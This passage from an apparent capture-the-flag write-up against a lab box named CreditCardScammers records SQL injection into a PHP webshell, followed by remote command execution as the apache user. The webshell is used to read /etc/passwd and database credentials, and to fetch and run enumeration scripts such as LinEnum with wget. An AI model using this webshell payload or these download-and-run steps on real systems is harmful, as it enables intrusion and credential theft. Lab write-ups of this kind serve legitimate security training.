[1] common location(s) ('/var/www/', /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default)

[2] custom location(s)

[3] custom directory list file

[4] brute force search

> 1

[02:41:26] [WARNING] unable to automatically parse any web server path

[02:41:26] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES
TERMINATED BY' method

you provided a HTTP Cookie header value, while target URL provides its own cookies within
HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further
requests? [Y/n] n

[02:41:41] [WARNING] unable to upload the file stager on '/var/www/'

[02:41:41] [INFO] trying to upload the file stager on '/var/www/_admin/dist/' via LIMIT 'LINES
TERMINATED BY' method

[02:41:41] [WARNING] unable to upload the file stager on '/var/www/_admin/dist/'

[02:41:41] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES
TERMINATED BY' method

[02:41:42] [WARNING] unable to upload the file stager on '/var/www/html/'

[02:41:42] [INFO] trying to upload the file stager on '/var/www/html/_admin/dist/' via LIMIT
'LINES TERMINATED BY' method

[02:41:42] [WARNING] unable to upload the file stager on '/var/www/html/_admin/dist/'

[02:41:42] [INFO] trying to upload the file stager on '/var/www/htdocs/' via LIMIT 'LINES
TERMINATED BY' method

[02:41:42] [WARNING] unable to upload the file stager on '/var/www/htdocs/'

[02:41:42] [INFO] trying to upload the file stager on '/var/www/htdocs/_admin/dist/' via LIMIT
'LINES TERMINATED BY' method

[02:41:43] [WARNING] unable to upload the file stager on '/var/www/htdocs/_admin/dist/'

[02:41:43] [INFO] trying to upload the file stager on '/usr/local/apache2/htdocs/' via LIMIT
'LINES TERMINATED BY' method

[02:41:43] [WARNING] unable to upload the file stager on '/usr/local/apache2/htdocs/'

[02:41:43] [INFO] trying to upload the file stager on '/usr/local/apache2/htdocs/_admin/dist/'
via LIMIT 'LINES TERMINATED BY' method

[02:41:43] [WARNING] unable to upload the file stager on

'/usr/local/apache2/htdocs/_admin/dist/'

[02:41:43] [INFO] trying to upload the file stager on '/usr/local/www/data/' via LIMIT 'LINES
TERMINATED BY' method

[02:41:44] [WARNING] unable to upload the file stager on '/usr/local/www/data/'

[02:41:44] [INFO] trying to upload the file stager on '/usr/local/www/data/_admin/dist/' via
LIMIT 'LINES TERMINATED BY' method

[02:41:44] [WARNING] unable to upload the file stager on '/usr/local/www/data/_admin/dist/'

[02:41:44] [INFO] trying to upload the file stager on '/var/apache2/htdocs/' via LIMIT 'LINES
TERMINATED BY' method

[02:41:44] [WARNING] unable to upload the file stager on '/var/apache2/htdocs/'

[02:41:44] [INFO] trying to upload the file stager on '/var/apache2/htdocs/_admin/dist/' via
LIMIT 'LINES TERMINATED BY' method

[02:41:45] [WARNING] unable to upload the file stager on '/var/apache2/htdocs/_admin/dist/'

[02:41:45] [INFO] trying to upload the file stager on '/var/www/nginx-default/' via LIMIT
'LINES TERMINATED BY' method

[02:41:45] [WARNING] unable to upload the file stager on '/var/www/nginx-default/'

[02:41:45] [INFO] trying to upload the file stager on '/var/www/nginx-default/_admin/dist/' via
LIMIT 'LINES TERMINATED BY' method

```
[02:41:45] [WARNING] unable to upload the file stager on
'/var/www/nginx-default/_admin/dist/'
[02:41:45] [INFO] trying to upload the file stager on '/srv/www/htdocs/' via LIMIT 'LINES
TERMINATED BY' method
[02:41:46] [WARNING] unable to upload the file stager on '/srv/www/htdocs/'
[02:41:46] [INFO] trying to upload the file stager on '/srv/www/htdocs/_admin/dist/' via LIMIT
'LINES TERMINATED BY' method
[02:41:46] [WARNING] unable to upload the file stager on '/srv/www/htdocs/_admin/dist/'
[02:41:46] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 83 times
[02:41:46] [INFO] fetched data logged to text files under
'/home/jeff/.sqlmap/output/192.168.1.28'

[*] ending @ 02:41:46 /2020-07-15/
```

> Since SQLmap did not work I decided to perform some basic PHP Webshell upload tests. The first attempt worked.

=> I entered manually the payload: select "<?php system(\$_GET[cmd]);?>" INTO DUMPFIL

```
POST /_admin/dist/manage.php HTTP/1.1
Host: 192.168.1.28
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: fr-fr
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.28
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Connection: close
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.28/_admin/dist/manage.php
Content-Length: 139
Cookie: PHPSESSID=t9q0kkg91f0huk3j61hk53gpm2
```

```
command=select+%22%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E
%22+INTO+DUMPFIL+.%27%2Fvar%2Fwww%2Fhtml%2Fwebshell.php%27+&submit=Ex
ecute
```

=> RCE as the service account "apache"

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=id
```

uid=48(apache) gid=48(apache) groups=48(apache)

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl  
http://192.168.1.28/webshell.php?cmd=uname -a  
Linux
```

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl  
http://192.168.1.28/webshell.php?cmd=ls  
LICENSE  
README.md  
_admin  
buynow.php  
class  
css  
gulpfile.js  
img  
index.html  
package-lock.json  
package.json  
settings  
vendor  
webshell.php
```

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl  
http://192.168.1.28/webshell.php?cmd=ls%20/var/www/  
cgi-bin  
flag1.txt  
html
```

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl  
http://192.168.1.28/webshell.php?cmd=ls%20/var/cgi-bin/
```

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl  
http://192.168.1.28/webshell.php?cmd=cat%20/var/www/flag1.txt  
WPamTh2Y9uMdphb6z0cp
```

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl  
http://192.168.1.28/webshell.php?cmd=ls%20/var/www/html/settings/  
config.php
```

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl  
http://192.168.1.28/webshell.php?cmd=cat%20settings/config.php
```

```
<?php
```

```
$databaseUsername = 'orders';  
$databasePassword = 'Ob2UA15ubBtzpZrvdMYT';  
$databaseServer = 'localhost';  
$databaseName = 'orders';
```

```
?>
```

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl  
http://192.168.1.28/webshell.php?cmd=cat%20/etc/passwd  
root:x:0:0:root:/root:/bin/bash  
bin:x:1:1:bin:/bin:/sbin/nologin  
daemon:x:2:2:daemon:/sbin:/sbin/nologin  
adm:x:3:4:adm:/var/adm:/sbin/nologin  
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin  
sync:x:5:0:sync:/sbin:/bin/sync  
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown  
halt:x:7:0:halt:/sbin:/sbin/halt  
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin  
operator:x:11:0:operator:/root:/sbin/nologin  
games:x:12:100:games:/usr/games:/sbin/nologin  
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin  
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin  
dbus:x:81:81:System message bus:/:/sbin/nologin  
systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin  
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin  
tss:x:59:59:Account used by the trousers package to sandbox the tcsd  
daemon:/dev/null:/sbin/nologin  
polkitd:x:998:996:User for polkitd:/:/sbin/nologin  
unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin  
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin  
gluster:x:996:993:GlusterFS daemons:/run/gluster:/sbin/nologin  
libstoragemgmt:x:995:992:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin  
sasauth:x:994:76:Sasauthd user:/run/sasauthd:/sbin/nologin  
dnsmasq:x:991:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin  
radvd:x:75:75:radvd user:/:/sbin/nologin  
setroubleshoot:x:990:990:/var/lib/setroubleshoot:/sbin/nologin  
sssd:x:989:987:User for sssd:/:/sbin/nologin  
qemu:x:107:107:qemu user:/:/sbin/nologin  
cockpit-ws:x:988:986:User for cockpit-ws:/nonexisting:/sbin/nologin  
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin  
sshd:x:74:74:Privilege-separated SSH:/var/empty/ssh:/sbin/nologin  
chrony:x:987:985:/var/lib/chrony:/sbin/nologin  
tcpdump:x:72:72:/:/sbin/nologin  
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin  
nginx:x:986:984:Nginx web server:/var/lib/nginx:/sbin/nologin  
mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
```

```
moneygrabber:x:1000:1000::/home/moneygrabber:/bin/bash
admin:x:1001:1001::/home/admin:/bin/bash
```

I tried to log into the ssh server using the SQL password with the usernames "admin", "moneygrabber" and "root" but it did not work.

```
=====
=====
=====
```

Step 3. Post-exploitation - Linux enumeration (LinEnum, Linux exploit suggerter, manual checks)

```
=====
=====
=====
```

1. Linux exploit suggerter

```
-----
```

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=wget%20https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh%20-O%20les.sh
```

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=chmod%20765%20les.sh
```

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=./les.sh
```

Available information:

```
Kernel version: 4.18.0
Architecture: x86_64
Distribution: RHEL
Distribution version: 8
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
```

Searching among:

```
74 kernel space exploits
45 user space exploits
```

Possible Exploits:

[+] [CVE-2019-18634] sudo pwfeedback

Details: <https://dylankatz.com/Analysis-of-CVE-2019-18634/>

Exposure: less probable
Tags: mint=19
Download URL:
<https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c>
Comments: sudo configuration requires pwfeedback to be enabled.

[+] [CVE-2019-15666] XFRM_UAF

Details: <https://duasynt.com/blog/ubuntu-centos-redhat-privesc>
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2019-13272] PTRACE_TRACEME

Details: <https://bugs.chromium.org/p/project-zero/issues/detail?id=1903>
Exposure: less probable
Tags:
ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}
Download URL:
<https://github.com/offensive-security/exploitdb-bin-splotts/raw/master/bin-splotts/47133.zip>
ext-url:
<https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c>
Comments: Requires an active PolKit agent.

2. LinEnum

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl  
http://192.168.1.28/webshell.php?cmd=wget%20https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
```

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl  
http://192.168.1.28/webshell.php?cmd=chmod%20765%20LinEnum.sh
```

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl  
http://192.168.1.28/webshell.php?cmd=./LinEnum.sh%20-t%20-r%20report
```

```
#####  
# Local Linux Enumeration & Privilege Escalation Script #  
#####  
# www.rebootuser.com  
# version 0.982
```

[~] Debug Info

[+] Report name = report-15-07-20

[+] Thorough tests = Enabled

Scan started at:

Wed Jul 15 02:35:12 BST 2020

SYSTEM

[-] Kernel information:

Linux ppushop 4.18.0-147.8.1.el8_1.x86_64 #1 SMP Thu Apr 9 13:49:54 UTC 2020 x86_64
x86_64 x86_64 GNU/Linux

[-] Kernel information (continued):

Linux version 4.18.0-147.8.1.el8_1.x86_64 (mockbuild@kbuilder.bsys.centos.org) (gcc
version 8.3.1 20190507 (Red Hat 8.3.1-4) (GCC)) #1 SMP Thu Apr 9 13:49:54 UTC 2020

[-] Specific release information:

CentOS Linux release 8.1.1911 (Core)

NAME="CentOS Linux"

VERSION="8 (Core)"

ID="centos"

ID_LIKE="rhel fedora"

VERSION_ID="8"

PLATFORM_ID="platform:el8"

PRETTY_NAME="CentOS Linux 8 (Core)"

ANSI_COLOR="0;31"

CPE_NAME="cpe:/o:centos:centos:8"

HOME_URL="https://www.centos.org/"

BUG_REPORT_URL="https://bugs.centos.org/"

CENTOS_MANTISBT_PROJECT="CentOS-8"

CENTOS_MANTISBT_PROJECT_VERSION="8"

REDHAT_SUPPORT_PRODUCT="centos"

REDHAT_SUPPORT_PRODUCT_VERSION="8"

CentOS Linux release 8.1.1911 (Core)

CentOS Linux release 8.1.1911 (Core)

[-] Hostname:

ppushop

USER/GROUP

[-] Current user/group info:

uid=48(apache) gid=48(apache) groups=48(apache)

[-] Users that have previously logged onto the system:

Username	Port	From	Latest
root	pts/0	192.168.56.111	Mon May 11 16:04:36 +0100 2020
apache	pts/0		Sun May 10 11:20:48 +0100 2020
moneygrabber	pts/0		Sun May 10 11:05:38 +0100 2020

[-] Who else is logged on:

02:35:12 up 2:28, 0 users, load average: 0.17, 0.14, 0.11

USER	TTY	FROM	LOGIN@	IDLE	JCPU	PCPU	WHAT
------	-----	------	--------	------	------	------	------

[-] Group memberships:

uid=0(root) gid=0(root) groups=0(root)
uid=1(bin) gid=1(bin) groups=1(bin)
uid=2(daemon) gid=2(daemon) groups=2(daemon)
uid=3(adm) gid=4(adm) groups=4(adm)
uid=4(lp) gid=7(lp) groups=7(lp)
uid=5(sync) gid=0(root) groups=0(root)
uid=6(shutdown) gid=0(root) groups=0(root)
uid=7(halt) gid=0(root) groups=0(root)
uid=8(mail) gid=12(mail) groups=12(mail)
uid=11(operator) gid=0(root) groups=0(root)
uid=12(games) gid=100(users) groups=100(users)
uid=14(ftp) gid=50(ftp) groups=50(ftp)
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
uid=81(dbus) gid=81(dbus) groups=81(dbus)
uid=999(systemd-coredump) gid=997(systemd-coredump) groups=997(systemd-coredump)
uid=193(systemd-resolve) gid=193(systemd-resolve) groups=193(systemd-resolve)
uid=59(tss) gid=59(tss) groups=59(tss)
uid=998(polkitd) gid=996(polkitd) groups=996(polkitd)
uid=997(unbound) gid=994(unbound) groups=994(unbound)
uid=32(rpc) gid=32(rpc) groups=32(rpc)
uid=996(gluster) gid=993(gluster) groups=993(gluster)
uid=995(libstoragemgmt) gid=992(libstoragemgmt) groups=992(libstoragemgmt)
uid=994(saslauth) gid=76(saslauth) groups=76(saslauth)
uid=991(dnsmasq) gid=991(dnsmasq) groups=991(dnsmasq)
uid=75(radvd) gid=75(radvd) groups=75(radvd)
uid=990(setroubleshoot) gid=990(setroubleshoot) groups=990(setroubleshoot)
uid=989(sssd) gid=987(sssd) groups=987(sssd)
uid=107(qemu) gid=107(qemu) groups=107(qemu),36(kvm)
uid=988(cockpit-ws) gid=986(cockpit-ws) groups=986(cockpit-ws)
uid=29(rpcuser) gid=29(rpcuser) groups=29(rpcuser)
uid=74(sshd) gid=74(sshd) groups=74(sshd)
uid=987(chrony) gid=985(chrony) groups=985(chrony)
uid=72(tcpdump) gid=72(tcpdump) groups=72(tcpdump)
uid=48(apache) gid=48(apache) groups=48(apache)
uid=986(nginx) gid=984(nginx) groups=984(nginx)


```
uid=27(mysql) gid=27(mysql) groups=27(mysql)
uid=1000(moneygrabber) gid=1000(moneygrabber) groups=1000(moneygrabber)
uid=1001(admin) gid=1001(admin) groups=1001(admin)
```

[-] It looks like we have some admin users:
uid=3(adm) gid=4(adm) groups=4(adm)

[-] Contents of /etc/passwd:

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd
daemon:/dev/null:/sbin/nologin
polkitd:x:998:996:User for polkitd:/:/sbin/nologin
unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
gluster:x:996:993:GlusterFS daemons:/run/gluster:/sbin/nologin
libstoragemgmt:x:995:992:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
sasauth:x:994:76:Sasauthd user:/run/sasauthd:/sbin/nologin
dnsmasq:x:991:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
radvd:x:75:75:radvd user:/:/sbin/nologin
setroubleshoot:x:990:990:/:/var/lib/setroubleshoot:/sbin/nologin
sssd:x:989:987:User for sssd:/:/sbin/nologin
qemu:x:107:107:qemu user:/:/sbin/nologin
cockpit-ws:x:988:986:User for cockpit-ws:/nonexisting:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/ssh:/sbin/nologin
chrony:x:987:985:/:/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72:/:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
nginx:x:986:984:Nginx web server:/var/lib/nginx:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
moneygrabber:x:1000:1000:/home/moneygrabber:/bin/bash
```

```
admin:x:1001:1001::/home/admin:/bin/bash
```

```
[-] Super user account(s):  
root
```

```
[-] Are permissions on /home directories lax:  
total 0  
drwxr-xr-x. 4 root      root      39 May 10 15:51 .  
dr-xr-xr-x. 19 root      root      276 May 10 11:58 ..  
drwx----- 2 admin      admin      62 May 10 15:51 admin  
drwx----- 2 moneygrabber moneygrabber 133 May 10 11:22 moneygrabber
```

```
[-] Files not owned by user but writable by group:  
-rw-rw-rw- 1 mysql mysql 27 Jul 15 01:54 /var/www/html/webshell.php
```

```
[-] Files owned by our user:  
-rw----- 1 apache apache 0 Jul 15 01:30  
/var/lib/php/session/sess_e4hsb934lnvt9tn7sqish7pbl  
-rw----- 1 apache apache 0 Jul 15 01:31  
/var/lib/php/session/sess_567ftoj7epvt0ijet6tpi8e9nf  
-rw----- 1 apache apache 0 Jul 15 01:41  
/var/lib/php/session/sess_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAA  
-rw----- 1 apache apache 0 Jul 15 01:41  
/var/lib/php/session/sess_v7kmsq2aqvj5oj4nis4ouu8sho  
-rw----- 1 apache apache 0 Jul 15 01:43  
/var/lib/php/session/sess_u285nl320orekncq61jl8jveeb  
-rw----- 1 apache apache 98 Jul 15 02:35  
/var/lib/php/session/sess_t9q0kkg91f0huk3j61hk53gpm2  
-rw-r--r--. 1 apache apache 65872017 Jul 15 02:35 /var/log/php-fpm/www-error.log  
-rw-r--r--. 1 apache apache 208 May 10 10:25 /var/www/html/_admin/.browserslistrc  
-rw-r--r--. 1 apache apache 13 May 10 10:25 /var/www/html/_admin/.gitignore  
-rw-r--r--. 1 apache apache 158 May 10 10:25 /var/www/html/_admin/.travis.yml  
-rw-r--r--. 1 apache apache 1093 May 10 10:25 /var/www/html/_admin/LICENSE  
-rw-r--r--. 1 apache apache 156721 May 10 10:25  
/var/www/html/_admin/dist/assets/Chart.min.js  
-rw-r--r--. 1 apache apache 1172040 May 10 10:25  
/var/www/html/_admin/dist/assets/all.min.js  
-rw-r--r--. 1 apache apache 78635 May 10 10:25  
/var/www/html/_admin/dist/assets/bootstrap.bundle.min.js  
-rw-r--r--. 1 apache apache 5222 May 10 10:25  
/var/www/html/_admin/dist/assets/dataTables.bootstrap4.min.css  
-rw-r--r--. 1 apache apache 3159 May 10 10:25  
/var/www/html/_admin/dist/assets/dataTables.bootstrap4.min.js  
-rw-r--r--. 1 apache apache 6119 May 10 10:25  
/var/www/html/_admin/dist/assets/img/error-404-monochrome.svg  
-rw-r--r--. 1 apache apache 88145 May 10 10:25  
/var/www/html/_admin/dist/assets/jquery-3.4.1.min.js
```

-rw-r--r--. 1 apache apache 84321 May 10 10:25
/var/www/html/_admin/dist/assets/jquery.dataTables.min.js
-rw-r--r--. 1 apache apache 186658 May 10 10:25 /var/www/html/_admin/dist/css/styles.css
-rw-r--r--. 1 apache apache 1548 May 10 10:25 /var/www/html/_admin/dist/index.php
-rw-r--r--. 1 apache apache 805 May 10 10:25 /var/www/html/_admin/dist/js/scripts.js
-rw-r--r--. 1 apache apache 3658 May 10 10:25 /var/www/html/_admin/dist/login.html
-rw-r--r--. 1 apache apache 70 May 10 10:25 /var/www/html/_admin/dist/logout.php
-rw-r--r--. 1 apache apache 848 May 10 10:25 /var/www/html/_admin/dist/manage.php
-rw-r--r--. 1 apache apache 1383 May 10 10:25
/var/www/html/_admin/dist/templates/footer.tpl
-rw-r--r--. 1 apache apache 1478 May 10 10:25
/var/www/html/_admin/dist/templates/header.tpl
-rw-r--r--. 1 apache apache 787 May 10 10:25 /var/www/html/_admin/dist/templates/index.tpl
-rwxr-xr-x. 1 apache apache 837 May 10 10:25
/var/www/html/_admin/dist/templates/manage.tpl
-rw-r--r--. 1 apache apache 1018 May 10 10:25 /var/www/html/_admin/dist/templates/nav.tpl
-rw-r--r-- 1 apache apache 2206 May 11 16:04
/var/www/html/_admin/dist/templates_c/86dfc70c4b74f908717aa705c9b65158600caee4_0.f
ile.index.tpl.php
-rw-r--r-- 1 apache apache 2213 May 11 16:04
/var/www/html/_admin/dist/templates_c/5a984562a91df56feb1b7ec3f5dd0059ed8801cd_0.f
ile.header.tpl.php
-rw-r--r-- 1 apache apache 1711 May 11 16:04
/var/www/html/_admin/dist/templates_c/15782bc189b3aa1b259fa49ed82cd1bf0d2b4b8d_0.f
ile.nav.tpl.php
-rw-r--r-- 1 apache apache 2406 May 11 16:04
/var/www/html/_admin/dist/templates_c/0662a60beba0fce807331e23438d31149b3e9834_0.
file.footer.tpl.php
-rw-r--r-- 1 apache apache 2009 Jul 15 00:57
/var/www/html/_admin/dist/templates_c/ddebbe6f0e973be988b757b1e53eabdea73e181d_0.
file.manage.tpl.php
-rw-r--r--. 1 apache apache 80 May 10 10:25 /var/www/html/_admin/scripts/build-assets.js
-rw-r--r--. 1 apache apache 432 May 10 10:25 /var/www/html/_admin/scripts/build-pug.js
-rw-r--r--. 1 apache apache 83 May 10 10:25 /var/www/html/_admin/scripts/build-scripts.js
-rw-r--r--. 1 apache apache 75 May 10 10:25 /var/www/html/_admin/scripts/build-scss.js
-rw-r--r--. 1 apache apache 162 May 10 10:25 /var/www/html/_admin/scripts/clean.js
-rw-r--r--. 1 apache apache 344 May 10 10:25 /var/www/html/_admin/scripts/render-assets.js
-rw-r--r--. 1 apache apache 884 May 10 10:25 /var/www/html/_admin/scripts/render-pug.js
-rw-r--r--. 1 apache apache 960 May 10 10:25 /var/www/html/_admin/scripts/render-scripts.js
-rw-r--r--. 1 apache apache 1493 May 10 10:25 /var/www/html/_admin/scripts/render-scss.js
-rw-r--r--. 1 apache apache 2096 May 10 10:25 /var/www/html/_admin/scripts/sb-watch.js
-rw-r--r--. 1 apache apache 509 May 10 10:25 /var/www/html/_admin/scripts/start-debug.js
-rw-r--r--. 1 apache apache 542 May 10 10:25 /var/www/html/_admin/scripts/start.js
-rw-r--r--. 1 apache apache 1530 May 10 10:25
/var/www/html/_admin/src/assets/demo/chart-area-demo.js
-rw-r--r--. 1 apache apache 1112 May 10 10:25
/var/www/html/_admin/src/assets/demo/chart-bar-demo.js

-rw-r--r--. 1 apache apache 597 May 10 10:25
/var/www/html/_admin/src/assets/demo/chart-pie-demo.js
-rw-r--r--. 1 apache apache 103 May 10 10:25
/var/www/html/_admin/src/assets/demo/datatables-demo.js
-rw-r--r--. 1 apache apache 6119 May 10 10:25
/var/www/html/_admin/src/assets/img/error-404-monochrome.svg
-rw-r--r--. 1 apache apache 553 May 10 10:25 /var/www/html/_admin/src/js/scripts.js
-rw-r--r--. 1 apache apache 576 May 10 10:25
/var/www/html/_admin/src/pug/layouts/authentication.pug
-rw-r--r--. 1 apache apache 659 May 10 10:25
/var/www/html/_admin/src/pug/layouts/dashboard.pug
-rw-r--r--. 1 apache apache 537 May 10 10:25
/var/www/html/_admin/src/pug/layouts/error.pug
-rw-r--r--. 1 apache apache 367 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/footer.pug
-rw-r--r--. 1 apache apache 60 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/head/css.pug
-rw-r--r--. 1 apache apache 112 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/head/icons.pug
-rw-r--r--. 1 apache apache 263 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/head/meta.pug
-rw-r--r--. 1 apache apache 30 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/head/title.pug
-rw-r--r--. 1 apache apache 3448 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/navigation/sidenav.pug
-rw-r--r--. 1 apache apache 1012 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/navigation/topnav.pug
-rw-r--r--. 1 apache apache 344 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/scripts.pug
-rw-r--r--. 1 apache apache 421 May 10 10:25 /var/www/html/_admin/src/pug/pages/401.pug
-rw-r--r--. 1 apache apache 445 May 10 10:25 /var/www/html/_admin/src/pug/pages/404.pug
-rw-r--r--. 1 apache apache 373 May 10 10:25 /var/www/html/_admin/src/pug/pages/500.pug
-rw-r--r--. 1 apache apache 1844 May 10 10:25
/var/www/html/_admin/src/pug/pages/charts.pug
-rw-r--r--. 1 apache apache 8316 May 10 10:25
/var/www/html/_admin/src/pug/pages/includes/datatable.pug
-rw-r--r--. 1 apache apache 245 May 10 10:25
/var/www/html/_admin/src/pug/pages/includes/page-header.pug
-rw-r--r--. 1 apache apache 3434 May 10 10:25
/var/www/html/_admin/src/pug/pages/index.pug
-rw-r--r--. 1 apache apache 599 May 10 10:25
/var/www/html/_admin/src/pug/pages/layout-sidenav-light.pug
-rw-r--r--. 1 apache apache 769 May 10 10:25
/var/www/html/_admin/src/pug/pages/layout-static.pug
-rw-r--r--. 1 apache apache 1547 May 10 10:25
/var/www/html/_admin/src/pug/pages/login.pug
-rw-r--r--. 1 apache apache 1166 May 10 10:25
/var/www/html/_admin/src/pug/pages/password.pug

-rw-r--r--. 1 apache apache 2235 May 10 10:25
/var/www/html/_admin/src/pug/pages/register.pug
-rw-r--r--. 1 apache apache 1139 May 10 10:25
/var/www/html/_admin/src/pug/pages/tables.pug
-rw-r--r--. 1 apache apache 223 May 10 10:25 /var/www/html/_admin/src/scss/_global.scss
-rw-r--r--. 1 apache apache 269 May 10 10:25
/var/www/html/_admin/src/scss/_variables.scss
-rw-r--r--. 1 apache apache 219 May 10 10:25
/var/www/html/_admin/src/scss/layout/_authentication.scss
-rw-r--r--. 1 apache apache 2018 May 10 10:25
/var/www/html/_admin/src/scss/layout/_dashboard-default.scss
-rw-r--r--. 1 apache apache 500 May 10 10:25
/var/www/html/_admin/src/scss/layout/_dashboard-fixed.scss
-rw-r--r--. 1 apache apache 230 May 10 10:25
/var/www/html/_admin/src/scss/layout/_error.scss
-rw-r--r--. 1 apache apache 136 May 10 10:25
/var/www/html/_admin/src/scss/navigation/_nav.scss
-rw-r--r--. 1 apache apache 474 May 10 10:25
/var/www/html/_admin/src/scss/navigation/_topnav.scss
-rw-r--r--. 1 apache apache 796 May 10 10:25
/var/www/html/_admin/src/scss/navigation/sidenav/_sidenav-dark.scss
-rw-r--r--. 1 apache apache 809 May 10 10:25
/var/www/html/_admin/src/scss/navigation/sidenav/_sidenav-light.scss
-rw-r--r--. 1 apache apache 1097 May 10 10:25
/var/www/html/_admin/src/scss/navigation/sidenav/_sidenav.scss
-rw-r--r--. 1 apache apache 539 May 10 10:25 /var/www/html/_admin/src/scss/styles.scss
-rw-r--r--. 1 apache apache 893 May 10 10:25
/var/www/html/_admin/src/scss/variables/_navigation.scss
-rw-r--r--. 1 apache apache 180 May 10 10:25
/var/www/html/_admin/src/scss/variables/_spacing.scss
-rw-r--r--. 1 apache apache 1507 May 10 10:25 /var/www/html/class/database.php
-rw-r--r--. 1 apache apache 1691 May 10 10:25 /var/www/html/class/order.php
-rw-r--r--. 1 apache apache 3094 May 10 10:25 /var/www/html/class/smarty/Autoloader.php
-rw-r--r--. 1 apache apache 38506 May 10 10:25
/var/www/html/class/smarty/Smarty.class.php
-rw-r--r--. 1 apache apache 12634 May 10 10:25
/var/www/html/class/smarty/SmartyBC.class.php
-rw-r--r--. 1 apache apache 417 May 10 10:25 /var/www/html/class/smarty/bootstrap.php
